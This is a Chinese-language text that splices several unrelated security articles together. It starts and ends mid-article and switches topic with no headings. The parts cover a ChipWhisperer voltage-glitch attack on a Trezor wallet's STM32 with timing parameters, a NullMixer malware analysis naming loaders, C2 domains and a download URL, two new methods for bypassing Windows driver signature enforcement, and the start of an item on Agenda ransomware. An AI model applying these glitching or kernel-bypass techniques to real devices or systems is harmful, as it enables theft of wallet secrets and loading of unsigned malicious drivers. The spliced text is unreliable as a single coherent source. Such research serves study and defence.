捕獲電源軌跡除了已經確定的需要移除的組件和我們關心的線路,我們還需要捕獲一些示例電源跟踪數據。為此,我們將使用示波器。我們在本文中使用了Siglent SDS1104X-E 100Mhz 數字示波器和該示波器附帶的標准直流測量探頭。

在執行這樣的功率捕獲時,必須確保正確設置示波器。這意味著示波器將在檢測到復位線上升時開始捕獲。

在撥動示波器的觸發器時,花一些時間是必要的。雖然使用連續捕獲或“滾動”模式可能很有效,但這會大大降低你的捕獲率並導致更細粒度的電源跟踪。對於我們稍後將查看的樣本,我們的採樣率為500MSa/s。

還應該注意的是,當我們捕獲踪跡時,我們沒有使用分流電阻,關於如何正確利用分流電阻進行功率測量的文章可以點擊這裡。

接下來,讓我們回顧一些示例電源軌跡。下面是帶有外部電容器的VCAP 線上電壓的示例視圖:

12.png

移除電容器時也有同樣的反應:

13.png

現在線路噪音更大且更不穩定,這正是我們在嘗試將故障或故障注入電源軌時想要的。移除電容器並焊接測試焊盤後,就可以開始從與復位線相關的目標線(VCAP)開始進行一些初始功率分析。當系統復位線達到3.3V 閾值時,bootrom 開始執行。因此,通過監控復位線,我們可以確定引導ROM 何時開始執行,我們將使用它作為我們的故障觸發器。

粉線代表VCAP線上的電壓,而黃線是RESET線上的電壓:

14.png

我們可以在下面的gif 中看到突出顯示的各種活動區域:注意這些區域的電壓波動。基於這個MCU的啟動方式,我們可以對這些多重波動的含義做出一些假設。

15.gif

可以查看大約170 微秒的跟踪,可以在主應用程序開始執行之前看到flash 活動。

16.png

現在我們已經移除了相關的電容器,接下來我們需要連接到SWD 端口。這可以通過PCB 右側的導通孔訪問,如下圖所示:

17.jpg

在將這些行插入到breadboard上之後,就可以重現攻擊了。

重現攻擊下圖是一些要準備的裝置:

18.jpg

STL 文件可在此處的GitHub 存儲庫中找到。

硬件在設置中,我們使用了Raspberry Pi、ChipWhisperer 和STLink。 STLink 連接到Trezor 的SWD 端口,我們使用它來檢測RDP 繞過是否已成功執行。 ChipWhisperer 用於為錢包供電、觸發復位線和乾擾VCAP 線。下面是一個簡單的接線表:

19.png

軟件完成所有適當的連接後,是時候與ChipWhisperer連接,並輸入我們想要的故障參數。如前所述,NewAE 教程是一個很好的起點,可以作為攻擊的模板。

在使用ChipWhisperer時,需要輸入一些關鍵的東西,我們現在將介紹其中一些。參考代碼可以在這裡找到。

整個程序的流程很簡單:

20.png

從連接到我們的CW 開始;這可以通過以下代碼完成:

21.png

我們需要確保我們設置了CW的內部時鐘頻率以及輸出模式和触發源,可以使用以下代碼行來完成此操作:

22.png

接下來,我們來談談觸發。我們之前提到過,將使用複位行來指示引導ROM何時開始執行。如果故障不成功並且需要重新運行,此行也將用於重置目標。

23.png

reboot_flush 函數負責完全重置設備並解除故障。每當我們想要重置STM32 並測試新的故障參數時,我們都會調用此函數:

24.png

接下來,我們將定義我們的故障參數,我們將使用如下所示的GlitchController類來完成。

25.png

最後三行對於我們故障注入至關重要。

故障形成故障形成的三個變量是寬度、重複和偏移變量。請注意,這些定義來自Newaetech 教程。還應該注意的是,除了電線長度和質量等變量之外,還有許多因素會影響故障的形狀。根據一般經驗,使用SMA連接器的短屏蔽線是最佳做法。

寬度:產生故障的寬度。這是一個週期的百分比。對於我們的示例,我們將在進行電壓故障而不是時鐘故障時使用最大值。

重複:重複故障的時鐘週期數。較高的值會增加可能出現故障的指令數量,但通常會增加目標崩潰的風險。但較高的重複次數通常會導致更強的故障。

偏移:在輸出時鐘中放置故障的位置。

故障時間最終的範圍定義ext_offset定義了FPGA在觸發後執行故障之前等待的時鐘週期。由於我們之前指定了100 MHz的時鐘速率,15000個時鐘週期相當於大約150微秒。這意味著在Trezor上的RESET線升高後,我們將開始從ext_offset值開始倒計時,當它達到零時,我們將乾擾VCAP 線!

另一件需要注意的事情是,GlitchController類將遍歷所有提供的glitch參數。因此,對於每個可能的參數組合,我們將重新設置錢包,嘗試gitch,然後嘗試通過SWD連接到STM32。這意味著,對於測試大範圍的值,我們可能需要幾天來完成一系列測試。

我們在監控範圍的同時運行了故障的第一次迭代,並看到我們正確地生成了故障。

調試攻擊在運行攻擊一段時間沒有結果後,就開始對我們的設置進行故障排除。我們想要調試的第一件事是STLink SWD枚舉代碼,用於檢測一個成功的故障:

26.png

首先,我們在RDP級別0使用STM32開發板測試了成功的故障檢測,這在第一次迭代中立即有效。

這是一個好跡象,但是我們想測試多次調用swd_check函數時會發生什麼。

在發現swd 庫無法枚舉設備後(這將在故障嘗試失敗時發生),直到通過USB 重新枚舉STLink 後,它才能再次運行!

這意味著對於我們所有的測試,只有我們的第一次迭代使用STLink 正確測試了SWD。如果一次失敗,SWD 將無法再次工作,直到探針被拔出並通過USB插入!

有了這些新的知識和信心,我們發現了實踐中的問題,並修改了一個簡單的c程序,在每次故障嘗試後重置STLink設備。

27.png

不過,經過幾天的測試和調整故障參數後,我們仍然沒有看到結果。

最後,我們決定取出示波器並檢查故障。我們用16000、17000 和18000 的ext_offset 檢查了故障,雖然看起來是合理的,但是,當ext_offset 為0 時,我們看到以下內容:

28.png

在上面的截圖中,黃線是我們的RST 線,紫線是VCAP 線。注意故障和復位線達到其目標電壓之間的間隙。 ChipWhisperer 在復位線達到3.3V 之前觸發。這個早期的觸發導致我們的故障在復位線完全被斷言之前開始倒計時。這導致故障提前了大約20微秒觸發。

我們可以使用示波器上的光標計算準確的延遲,如下圖所示:

29.png

我們確定使用示波器提前了大約24 微秒觸發。有了這些新信息,我們將ext_offset 範圍修改為17000 到20000 之間,並在周末繼續運行。

過了一段時間,STLink LED 是綠色的,這意味著它已經通過SWD 成功訪問了設備!

30.png

更有趣的是,我們的故障在ChipWhisperer 觸發後大約197 微秒發生。回想一下在chip.fail 中的工作,它們的偏移量大約為170 微秒。我們的延遲為24 微秒,這與之前的實驗相差無幾(197-24=173)。這個偏移範圍是可重複的,我們可以在194-197微秒

sl-abstract-malicious-binary-code-1200-1200x600.jpg

NullMixer 是導致各種惡意軟件家族感染鏈的投放程序,它通過惡意網站傳播,這些網站主要可以通過搜索引擎找到。這些網站通常與非法下載軟件的破解、註冊機和激活程序有關,雖然它們可能偽裝成合法軟件,但實際上包含一個惡意軟件投放程序。

看起來這些網站正在使用SEO 來提高其搜索排名,從而在互聯網上搜索“crack”和“keygen”時很容易找到它們。當用戶嘗試從其中一個網站下載軟件時,他們會被多次重定向,並最終進入一個包含下載說明和偽裝成所需軟件的受密碼保護的壓縮文件惡意軟件的頁面。當用戶提取並執行NullMixer 時,它會將許多惡意軟件文件投放到受感染的計算機上。這些惡意軟件家族可能包括後門、銀行木馬、憑證竊取程序等。例如,NullMixer 投放了以下惡意軟件:SmokeLoader/Smoke、LgoogLoader、Disbuk、RedLine、Fabookie、ColdStealer。

初始感染NullMixer 的感染媒介基於一個“用戶執行”惡意鏈接,該鏈接要求最終用戶點擊並下載受密碼保護的ZIP/RAR 壓縮文件,其中包含手動提取和執行的惡意文件。

NullMixer的整個感染鏈如下:

用戶訪問網站以下載破解軟件、註冊機或激活程序。該活動似乎針對任何希望下載破解軟件的人,並使用SEO 技術使這些惡意網站在搜索引擎結果中更加突出。

1.png

谷歌搜索引擎搜索結果中“破解軟件”的頂部包含提供NullMixer的惡意網站

用戶點擊所需軟件的下載鏈接;

該鏈接將用戶重定向到另一個惡意網站;

惡意網站將用戶重定向到第三方IP 地址網頁;

該網頁指示用戶從文件共享網站下載受密碼保護的ZIP 文件。

2.png

惡意軟件執行指令

用戶提取帶有密碼的壓縮文件;

用戶運行安裝程序並執行惡意軟件。

3.jpg

NullMixer 感染鏈執行示例

NullMixer 介紹NullMixer是一個投放程序,它包含的不僅僅是特定的惡意軟件家族,也會投放各種惡意二進製文件來感染計算機,比如後門程序、銀行程序、下載程序、間諜軟件和許多其他程序。

NullMixer 執行鏈當用戶從下載的受密碼保護的壓縮文件中提取“win-setup-i864.exe”文件並運行它時,感染就開始了。 “win-setup-i864.exe”文件是一個NSIS(Nullsoft Scriptable Install System)安裝程序,是很多軟件開發者使用的非常流行的安裝工具。在本文的示例中,它投放並啟動了另一個文件“setup_installer.exe”,這實際上是一個包含在Windows 可執行文件中的SFX 壓縮文件“7z Setup SFX”。 “setup_installer.exe”文件投放了數十個惡意文件。但它沒有啟動它們,而是啟動了一個可執行文件setup_install.exe,這是一個NullMixer啟動程序組件。 NullMixer 的啟動程序啟動所有投放的可執行文件。為此,它包含一個硬編碼文件名列表,並使用“cmd.exe”逐個啟動它們。

4.png

硬編碼到NullMixer啟動程序組件的文件列表

5.jpg

NullMixer 執行鏈

它還嘗試使用以下命令行更改Windows Defender 設置。

6.png

在啟動所有已投放的文件後,NullMixer 啟動程序會立即向CC 發送關於安裝成功的信標。此時,所有被投放和啟動的惡意文件都留在了它們自己的設備中。很快就可以識別由NullMixer惡意軟件傳播的各種惡意二進製文件。

7.jpg

NullMixer 和它投放的惡意軟件家族

由於投放的惡意軟件家族數量非常大,本文只對每個家族進行簡要描述。

SmokeLoaderSmokeLoader(又名Smoke)是一種模塊化惡意軟件,自2011 年以來就廣為人知,通過網絡釣魚電子郵件和偷渡式下載(drive-bydownload)分發。多年來,它通過附加模塊不斷擴展其功能。例如,添加禁用Windows Defender 和反分析技術。

與使用硬編碼靜態URL 下載惡意文件的最簡單下載程序相比,SmokeLoader 用CC 通信以接收和執行下載任務。

RedLine StealerRedLine Stealer 自2020 年初就為人所知,並一直持續到2021 年。眾所周知,該惡意軟件在網絡論壇上出售,並通過釣魚郵件傳播。

另一種傳播RedLine Stealer的新方法是誘使Windows 10用戶獲得虛假的Windows 11升級。當用戶下載並執行二進製文件時,他們實際上是在運行惡意軟件。

RedLine的主要目的是從瀏覽器中竊取證書和信息,此外還從受感染的計算機上竊取信用卡詳細信息和加密貨幣錢包。此外,該惡意軟件還收集有關係統的信息,例如:用戶名、硬件詳細信息和已安裝的安全應用程序。

PseudoManuscryptPseudoManuscrypt 自2021 年6 月以來就廣為人知,並用作MaaS(惡意軟件即服務)。 PseudoManuscrypt並不針對特定的公司或行業,但據觀察,工業和政府組織,包括軍工複合體和研究實驗室的企業,是最嚴重的受害者。

該惡意軟件通過Glupteba等其他殭屍網絡傳播。 PseudoManuscrypt的的主要目的是通過從Firefox、谷歌Chrome、Microsoft Edge、Opera和Yandex瀏覽器中竊取cookie,通過使用ClipBanker插件進行鍵盤記錄和竊取加密貨幣來監視受害者。惡意軟件的一個顯著特徵是使用KCP協議下載額外的插件。

ColdStealerColdStealer 是一個相對較新的惡意程序,於2022 年被發現。與許多其他竊取程序一樣,它的主要目的是從Web 瀏覽器竊取憑據和信息,此外還竊取加密貨幣錢包、FTP 憑據、各種文件和有關係統的信息,例如操作系統版本、系統語言、處理程序類型和剪貼板數據。將被盜信息傳遞給攻擊者的唯一已知方法是將ZIP 壓縮文件發送到嵌入式控制中心。

8.png

ColdStealer Main() 函數

FormatLoaderFormatLoader 是一個下載程序,因為使用硬編碼的url作為格式字符串而得名,它需要填寫一個數字來獲取下載附加二進製文件的鏈接。可用的數字範圍也是硬編碼的。

9.png

FormatLoader 的主要目的是通過將二進製文件下載到受感染的計算機上來用額外的惡意文件感染計算機。為此,惡意軟件將硬編碼範圍中的數字逐個添加到硬編碼格式字符串中,並訪問下載鏈接。

此外,FormatLoader 使用第三方網站服務來跟踪受感染的計算機。它將“GET”請求發送到IP 記錄程序服務的特定URL,該服務收集IP 地址和基於IP 的地理位置等信息。

CsdiMonetize眾所周知,CsdiMonetize 是一個廣告平台,用於在感染用戶計算機後以按安裝付費的方式安裝許多不同的PUA(潛在不需要的應用程序)。後來,CsdiMoneitze 不僅用PUA 感染他們的受害者,還開始用真正的木馬感染他們的受害者,比如Glupteba 惡意軟件。

如今,CsdiMonetize 使用其他惡意軟件家族類型感染其受害者,例如:Fabookie、Disbuk、PseudoManuscrypt 等。

10.jpg

Csdi 執行鏈

感染從NSIS 安裝程序“61f665303c295_Sun1059d492746c.exe”開始,它會下載Csdi 安裝程序“MSEkni.exe”。 Csdi 安裝程序從CC 請求當前配置以及要安裝的其他Csdi 組件列表。配置以加密和base64 編碼的形式存儲在多個註冊表項中。下一步是下載其他組件,最值得注意的是發布者和更新程序組件。 Csdi 發布者組件負責通過使用URL 作為命令行參數啟動瀏覽器來顯示廣告。更新程序組件負責按安裝付費服務。它接收來自CC 的URL 列表以及有關如何投放和執行下載文件的說明。

Disbuk眾所周知,Disbuk(又名Socelar)將自己偽裝成合法的應用程序,例如PDF 編輯程序軟件。

該惡意軟件主要針對Facebook廣告,並通過訪問瀏覽器的SQLite數據庫從Chrome和Firefox盜取Facebook會話cookie。在檢索這些信息後,惡意軟件試圖提取額外的信息,惡意軟件會嘗試提取訪問令牌、帳戶ID 等附加信息。經過進一步發展,Disbuk 也開始檢索Amazon cookie。

除了竊取數據,Disbuk 還安裝了一個偽裝成谷歌翻譯擴展的惡意瀏覽器擴展。

FabookieFabookie 是另一個針對Facebook 廣告的竊取程序。它的功能類似於Disbuk 惡意軟件,包括從瀏覽器中竊取Facebook 會話cookie,使用Facebook Graph API 查詢來接收有關用戶帳戶、關聯支付方式、餘額、朋友等額外信息。被盜的憑據稍後可用於運行來自受感染帳戶的廣告。

與Disbuk 不同的是,該惡意軟件不包含內置的惡意瀏覽器擴展,但包含兩個嵌入式NirSoft 實用程序“Chrome Cookies View”和“Web Browser Password Viewer”,用於從瀏覽器中提取數據。

DanaBotDanaBot 是一種用Delphi 編寫的銀行木馬,它通過電子郵件網絡釣魚進行傳播,自2018 年被發現以來一直在迭代。

DanaBot 是一種模塊化惡意軟件,包括各種附加模塊,這些模塊最流行的功能是從受感染的計算機中竊取信息,並將虛假表格注入流行的電子商務和社交媒體網站以收集支付數據。它還可以通過遠程桌面提供對受感染系統的完全訪問,或通過使用VNC 插件訪問鼠標和鍵盤。

RacealerRacealer(又名RaccoonStealer)是一種竊取型惡意軟件,主要從受感染的計算機中竊取用戶憑據並洩露數據。

自2019 年被發現以來,Racoon 也經過了多次迭代。例如,它現在使用Telegram 來檢索CC IP 地址和惡意軟件配置。現在,它還可以從惡意軟件的CC 下載其他模塊,這些模塊也用於提取憑據。

Generic.ClipBankerGeneric.ClipBanker 是一種剪貼板劫持者惡意軟件,它監控受感染計算機的剪貼板,並專門搜索加密貨幣地址以替換它們。當用戶複製加密貨幣錢包的地址時,惡意軟件會將錢包地址替換為他們自己的加密貨幣錢包地址,因此最終用戶會將加密貨幣(例如比特幣)發送給他們,而不是發送到預期的錢包地址。

11.png

使用來自Generic.ClipBanker 二進製文件的加密貨幣地址進行篩選

SgnitLoaderSgnitLoader 是一個用C# 編寫的小型木馬下載程序,二進制大小約為15 KB。但是,原始文件是用Obsidium 打包的,這使得二進製文件的大小增長到400 多字節。

SgnitLoader 在其二進製文件中包含一些硬編碼的域,它會附加路徑並添加一個從1 到7 的數字。與FormatLoader 惡意軟件不同,它不使用格式字符串,而只是在末尾添加一個數字字符串以獲取完整的URL。

12.png

下載和執行過程完成後,SgnitLoader 通過“GET”請求ping 回CC。原始的pingback URL隱藏在' iplogger.org ' URL縮短服務中。

ShortLoader另一個用c#編寫的小型木馬下載程序。它的二進製文件是sgitloader大小的一半。它的主要功能代碼相當短,它使用“IP Logger”URL縮短服務來隱藏它下載有效負載的原始URL。這就是為什麼它被稱為ShortLoader。

13.png

ShortLoader Main() 函數

Downloader.INNO原始文件是利用“Inno Download Plugin”下載功能的“Inno Setup”安裝程序。

該安裝腳本被編程為從URL ' http://onlinehueplet[.]com/77_1.exe '下載一個文件,將其作為' dllhostwin.exe '放置到' %TEMP% '目錄中,並使用字符串' 77 '作為參數執行它。

14.png

Inno Setup 安裝腳本的一部分

下載的文件屬於Satacom Trojan-Downloader 家族。然而,在研究過程中,研究人員發現該文件在服務程序上被替換為合法的PuTTY 軟件(一種流行的SSH 客戶端)。

LgoogLoader該文件是另一個使用Microsoft Cabinet壓縮文件格式的軟件安裝程序。執行後,它會投放三個文件:一個批處理文件、一個帶有剝離的可執行文件標頭的AutoIt 解釋程序和一個AutoIt 腳本。然後它使用“cmd.exe”執行批處理文件。批處理文件的任務是恢復AutoIt 解釋程序可執行文件,並使用AutoIt 腳本的路徑作為命令行參數啟動它。

AutoIt 腳本執行一些AntiVM 和AntiDebug 檢查。如果所有檢查都成功,那麼它會再次啟動AutoIt 解釋程序,解密並解壓嵌入的可執行文件並將其註入新創建的進程。注入的可執行文件是LgoogLoader。

LgoogLoader是一個木馬下載程序,它從硬編碼的靜態URL下載加密的配置文件。然後對配置進行解密,從中提取額外的url,下載並執行最終的有效負載。它被稱為LgoogLoader,因為它使用了來自“谷歌隱私政策”的字符串。

15.png

LgoogLoader 二進製文件中的Google 隱私政策字符串

Downloader.Bitser原始文件是一個試圖安裝PUA: Lightening Media Player的NSIS安裝程序。該文件由csdimonealize的更新程序組件(MD5: 98f0556a846f223352da516af66fa1a0)下載。然而,安裝腳本不僅被配置為設置lighightmedia Player,還被配置為運行內置的Windows實用程序“bitsadmin”來下載額外的文件,這就是我們將其稱為Bitser的原因。在本文的示例中,該實用程序在NSIS 安裝程序的安裝腳本中使用,並用於下載受7z 密碼保護的壓縮文件。 7z 壓縮文件的密碼以及解包和執行說明也被硬編碼到安裝腳本中。

16.jpg

Downloader.Bitser 的感染鏈

一個合法的7-Zip 獨立控制台應用程序由安裝程序以名稱“data_load.exe”投放,並使用參數啟動以從下載的壓縮文件中解壓縮文件。

17.png

部分帶有下載和執行指令的NSIS 腳本

C-JokerC-Joker 是一個非常簡單的Exodus 錢包竊取程序。它使用Telegram API 發送有關安裝成功或失敗的通知。為了竊取憑據,它會下載“app.asar”文件的後門版本,並替換了來自Exodus錢包的原始文件。

18.png

C-Joker 二進製文件中的字符串

SatacomSatacom 也稱為LegionLoader。 Satacom 於2019 年被發現,它使用了不同的反分析技巧,這些技巧可能是從al-khazer 中藉鑑來的。嵌入式用戶代理因樣本而異,但在本文的示例中,用戶代理是“deus vult”。

19.png

Satacom 二進製文件中的字符串

最新版本從TXT-record 接收主控中心地址。 Satacom 向‘reosio.com’發送一個DNS TXT 查詢,並接收一個帶有base64 編碼字符串的響應。

20.png

Satacom DNS 請求和響應

使用XOR 密鑰“DARKMATTER”解碼和解密後,它會得到真正的CC URL“banhamm.com”。

Windows DSE(Driver Signature Enforcement)即任何驅動程序或第三方程式都要經過微軟簽名才能確保為正版、安全的程序。代碼完整性是15 年前由Microsoft 首次推出的威脅防護功能。在基於x64 的Windows 版本上,內核模式驅動程序必須在每次加載到內存時進行數字簽名和檢查,這也被稱為驅動強制簽名(DSE),檢測是否將未簽名的驅動程序或系統文件加載到內核中,或系統文件是否被修改(可能由具有管理權限的惡意軟件運行),可以提高操作系統的安全性。

為了克服這些限制,攻擊者使用有效的數字證書(無論是頒發給他們的還是他們竊取的)或者他們在運行時禁用DSE。獲得證書的難度很大,但篡改證書則純粹是一個技術上的挑戰。

儘管微軟近年來一直在致力於解決驅動強制簽名方面存在的問題,並提供了一系列解決方案,但利用眾所周知,篡改DSE的方法越來越多,用此方法攻擊的案例也明顯增加,這促使我們要深入地研究這個問題。

我們會在本文分享我們的研究結果,以及兩種DSE篡改方法的細節。

DSE實現過程j00ru是谷歌項目Zero的一名安全研究員,他層發表了一篇關於Windows 7中代碼完整性實現的介紹。

ntoskrnl.exe與附加的內核庫CI.dll(代碼完整性)一起工作。在操作系統初始化階段,內核設置nt!g_CiEnabled 並使用指向nt!g_CiCallbacks 結構的指針調用CI!CiInitialize 例程來初始化CI.dll。它依次設置CI!g_CiOptions 並在返回內核之前填充CI!CiValidateImageHeader、CI!CiValidateImageData 和CI!CiQueryInformation 回調的地址。

要使用回調函數,包裝器函數存在於ntoskrnl.exe中。他們檢查那個nt!g_CiEnabled設置為TRUE,適當的回調不是NULL,然後調用它。

當內核加載驅動程序時,執行通過nt!MmLoadSystemImage 到nt!MmCreateSection 並最終到nt!MiValidateImageHeader 例程。這樣,依次調用nt!SeValidateImageHeader 和nt!SeValidateImageData 包裝器。每個回調都應在成功時返回零,否則返回非零值。

fig1.webp.jpg

驅動程序加載時的調用堆棧

“Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats”一書詳細說明了Windows 8 中的實現更改過程:刪除nt!g_CiEnabled 變量,因此DSE 狀態僅由CI!g_CiOptions 確定,更多回調函數被添加到CI.dll提供的接口中。書中沒有描述的另一個變化是,如果驗證標頭成功,那麼驗證數據回調將不會被調用。

在Windows 8.1上,回調結構的符號名稱被更改為nt!SeCiCallbacks。

內核模式簽名策略除了簽名的加密有效性之外,微軟強制簽名證書只能由支持CA 的交叉證書頒發。這可以防止攻擊者簡單地在每台計算機上安裝自己的CA證書。

從Windows 10Redstone開始(2016年8月發布),驅動程序簽名策略有所改變,需要微軟自己進行第二次簽名。這是通過一個web門戶網站完成的,在那裡開發人員上傳他們的簽名二進製文件,並將它們發送給微軟。從攻擊者的角度來看,這意味著將你的有效載荷傳播給防御者,這與他們通常想要的相反。至少有一個記錄在案的案例表明,這種新措施沒有阻止攻擊者。

內核補丁保護KPP 或PatchGuard 於2005 年首次推出,是x64 版Windows 的一項功能,可防止修補內核。 “修補內核”是指修改ntoskrnl.exe 和其他關鍵系統驅動程序和數據結構(SSDT、IDT、GDT 等)的代碼。

它通過定期檢查這些受保護區域是否被修改而工作。如果檢測到系統被修改,則會觸發藍屏,使系統停止。 PatchGuard在每一個新的Windows版本中都會更新,這使得攻擊者很難開發出適用於所有版本的通用繞過技術。

ntoskrnl.exe中的回調結構和CI!g_CiOptions變量分別從Windows 8和Windows 8.1開始受PatchGuard保護。

DSE在野外被篡改儘管j00ru 得出結論,重寫nt!g_CiEnabled 或CI!g_CiOptions 等私有符號可能相對困難,但這正是攻擊者選擇的方向。眾所周知,臭名昭著的Turla APT 開發了這種技術,安全研究人員對其進行了逆向工程並發布了他們的代碼。

這些私有符號通過簡單的模式匹配來定位,幾乎不需要任何更改:

fig2.webp.jpg

常規PTE 順著SLAT PTE 突出顯示差異

在x86架構上,SLAT pte (Page Table Entries)處理權限不同於常規的PTE:讀\寫權限是分開的,執行權限需要顯式設置,並且只能為ring 0(內核模式)授權。 hypervisor使用SLAT 頁表來強制VTL 之間的隔離並使VTL1 可以訪問它們,所以安全內核使用它們來實現VBS特性,而hypervisor本身並不為這些功能本身實現任何代碼/邏輯。

受HyperVisor 保護的代碼完整性HVCI,最初稱為Device Guard,是隨著VBS 的引入而發布的,這是完整性執行的另一層。

加載新驅動程序後,安全內核也會被觸發並使用其自己的代碼完整性庫SKCI.dll(安全內核代碼完整性)實例。在Secure World (VTL1) 中的當前策略中驗證並檢查數字簽名以得到授權。只有這樣才能將可執行和不可寫權限應用於相應GPA 的SLAT 頁表。因此,NT 內核(VTL0) 不能修改任何以前加載的代碼或運行任何新代碼,而無需在進程中使用安全內核。

fig3.webp.jpg

Windows 10 SKCI.dll 中SkciInialize 及其自身CiOptions 變量的反彙編

內核數據保護KDP 旨在保護在Windows 內核(即操作系統代碼本身)中運行的驅動程序和軟件免受數據驅動的攻擊。它最初是在Windows 10 20H1 中引入的。

使用KDP,在內核模式下運行的軟件可以靜態(其自身映像的一部分)或動態(只能初始化一次的池內存)保護只讀內存。 KDP 僅在VTL1 中為支持受保護內存區域的GPA 建立寫保護,使用SLAT 頁表供管理程序強制執行。這樣,在NT 內核(VTL0) 中運行的任何軟件都不能擁有更改內存所需的權限。

KDP並不強制如何轉換受保護區域的GVA範圍映射,根據開發人員的介紹,KDP目前只定期驗證受保護的內存區域是否轉換為適當的GPA。

從Windows 11 開始,CI.dll 選擇使用靜態KDP (MmProtectDriverSection API) 來強化自身,將所有相關的CI 策略變量放置在名為“CiPolicy”的單獨部分中。

fig4.webp.jpg

Windows 11 中CI.dll 中CiInitializePolicy 和CiPolicy 部分的反彙編

驅動程序阻止列表這是通過Windows Defender 應用程序控制(WDAC) 或HVCI 策略強制執行的,目前已有一些第三方安全產品供應商也採用了這種做法。可以在此處找到最新的阻止列表。

阻止列表拒絕攻擊者輕鬆訪問內核寫入原語。雖然它非常有效,但它不是一種主動措施,只能處理以前發現的驅動程序。因此,這種緩解措施對驅動程序中的零日漏洞無效,防御者必須不斷追踪它們,始終落後於攻擊者一步。

新的篡改發現技術從上面的描述中,敏銳的讀者可以看到,如果沒有啟用HVCI,則可能在不進行任何代碼修補的情況下篡改DSE。

方法一:“頁面交換”

僅僅因為不再可能寫入CI!CiOptions 並不意味著它的值不能改變。該變量仍被虛擬地址訪問,並且每次都會發生到物理地址的轉換過程。因此,我們將改為更改翻譯結果。

通過將物理頁面從受KDP 保護的頁面交換到我們擁有的頁面,我們重新獲得了對內存的完全控制權。交換GPA 僅意味著更改PTE(頁表條目)中的PFN(頁幀號),它本質上只是另一個指針。

我們可以為任何給定的虛擬地址計算PTE 的虛擬地址,避免每次遍歷所有頁表。頁表位於Windows 內核用來管理分頁結構的虛擬內存區域中,稱為“PTE 空間”。 PTE Base 由KASLR(內核地址空間佈局隨機化)隨機化,從Windows 10 Redstone 開始。在之前的研究中,我們展示了一種可靠的方法來找到它。

除了寫入之外,執行此方法還需要內核讀取和內存分配原語。以下是C 偽代碼的分步實現過程:

fig5.webp.jpg

頁面交換的C偽代碼

可以使用來自用戶空間的頁面,因此內核內存分配原語變得多餘。對於CI.dll,可以使用變量的默認值而不是複制頁面。結果,內核空間的讀取次數顯著減少,因為只剩下少數必要的PTE 讀取。

方法二:“回調交換”有一段時間,KDP 似乎提高了防止DSE 篡改的門檻,因為頁面交換也需要內核讀取原語。我們再次查看了CI.dll 和ntoskrnl.exe 是如何集成的,然後我們想,“為什麼要使用CI.dll 呢?讓我們使用自己的回調而不是CI!CiValidateImageHeader”。

fig6.webp.jpg

回調交換演示

上圖證明無需讀取任何內核空間數據即可找到所有必要的地址,具體過程如下:

首先,在ntoskrnl.exe 中找到回調結構。該結構作為參數傳遞給CI!CiInitialize,這樣我們就可以從調用中獲得它的地址。內核只調用該函數一次,因此我們查找使用其導入表條目的CALL或JMP指令。找到調用站點後,返回到“.data”部分中指向未初始化內存的參數的寄存器分配。

fig7.webp.jpg

在Windows 11的ntoskrnl.exe中反彙編SepInitializeCodeIntegrity和SeCiCallbacks

接下來,尋找要使用的替換回調函數。我們需要一個不帶參數並返回零的函數。幸運的是,ntoskrnl.exe 有一些符合此要求的導出函數,例如FsRtlSyncVolumes 或ZwFlushInstructionCache,因此只需調用GetProcAddress 即可。

最後,找到要恢復的原始回調函數。回調由CI!CipInitialize 在結構中設置,因此它將引用所有回調。所有回調都設置在所有Windows 構建的單個基本代碼塊中。搜索這種指令模式,如下圖所示,並從lea 指令中提取偏移量。要驗證偏移量是否確實導致函數,遍歷PE 的異常目錄以查找具有相同起始地址的RUNTIME_FUNCTION 條目。

fig8.webp.jpg

Windows 11中CI.dll中CipInitialize的反彙編

KDP 保護被“設計”繞過,因為ntoskrnl.exe 沒有選擇使用回調結構。更改回調的另一個優點是篡改通過記錄的查詢系統信息API 不可見。

雖然解析地址可能需要多行代碼,但它是在用戶空間中完成的,因此只需要內核寫入原語,這與當前眾所周知的DSE 篡改方法相同。儘管PoC 向內核空間寫入了8 個字節(64 位指針的大小),但可以通過在CI.dll 中查找回調目標來減少這個數字。在撰寫本文時,來自TrustedSec的Adam Chester也發布了一篇最新的研究文章,他選擇了一種替代方法,通過掃描他創建的二進制簽名來找到原始回調。

緩解措施HVCI 涵蓋了所有篡改方法,因為它在加載驅動程序時執行自己的驗證。儘管HVCI 已經存在多年,但直到最近才在新的Windows 安裝中默認啟用。因此,我們一定要想出一個替代方案。

我們試圖找到一種方法來在驅動程序加載期間確認DSE 的狀態。此外,一個將支持程序的阻塞。在這一點上,如何獲得DSE 狀態的可見性應該是顯而易見的,防御者可以利用攻擊者用來查找內部變量的相同策略。畢竟,它已被證明是穩定的。

考慮到一個被篡改的狀態只能持續很短的時間,假設我們開始運行時系統狀態是有效的是合理的。此時,將保留內部變量的副本。

有3個選項可以攔截驅動程序加載:

1.在NtLoadDriver API 的用戶空間中放置一個鉤子。

2.使用註冊表回調來監視驅動程序註冊表項路徑上的操作。

3.使用文件系統微過濾器回調來創建驅動程序文件的部分(IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION)。

要知道回調是否作為驅動程序加載的一部分被觸發,它需要檢查當前進程是SYSTEM 並且調用堆棧源自ntoskrnl.exe 而不是任何其他驅動程序。

一旦驅動程序加載被攔截,通過檢查任何變量的變化來檢測DSE 篡改。此時,可以簡單地通過使用錯誤狀態代碼阻止I\O 請求或將變量恢復到其保存狀態來進行預防。

總結我們在本文中介紹了微軟如何嘗試在運行時保護DSE,並介紹了兩種新方法來篡改它並成功加載未簽名的驅動程序。

雖然HVCI 提供了最強大的解決方案,但我們共享了一種額外的方法來檢測和防止DSE 在運行時篡改。在內核模式下執行代碼對攻擊者仍然具有吸引力,因為它通常是破壞計算機上更高特權元素(例如管理程序、UEFI 和SMM)或擊敗終端安全產品的必備手段。我們可能會看到TTP 的轉變,由於驅動程序阻止列表,攻擊者會轉向使用更多的內核1日漏洞來利用未修補的漏洞。

隨著硬件輔助的安全功能變得越來越普遍,以及微軟致力於利用它們的努力,攻擊者利用DSE 篡改可能會在可預見的未來逐漸消失。儘管如此,配置錯誤和老舊系統仍將存在這種攻擊。

最近出現了一種用Go 語言編寫的新型勒索軟件,主要亞洲和非洲的醫療保健和教育企業。該勒索軟件稱為Agenda,對每個受害者進行自定義攻擊。當前用Go 語言(又名Golang)編寫的惡意軟件變得越來越普遍,這主要是因為Go 靜態編譯必要的庫,使安全分析變得更加困難。

根據名為“Qilin”的用戶(似乎與勒索軟件分銷商有關聯)的暗網帖子和勒索記錄,勒索軟件被稱為“Agenda”。

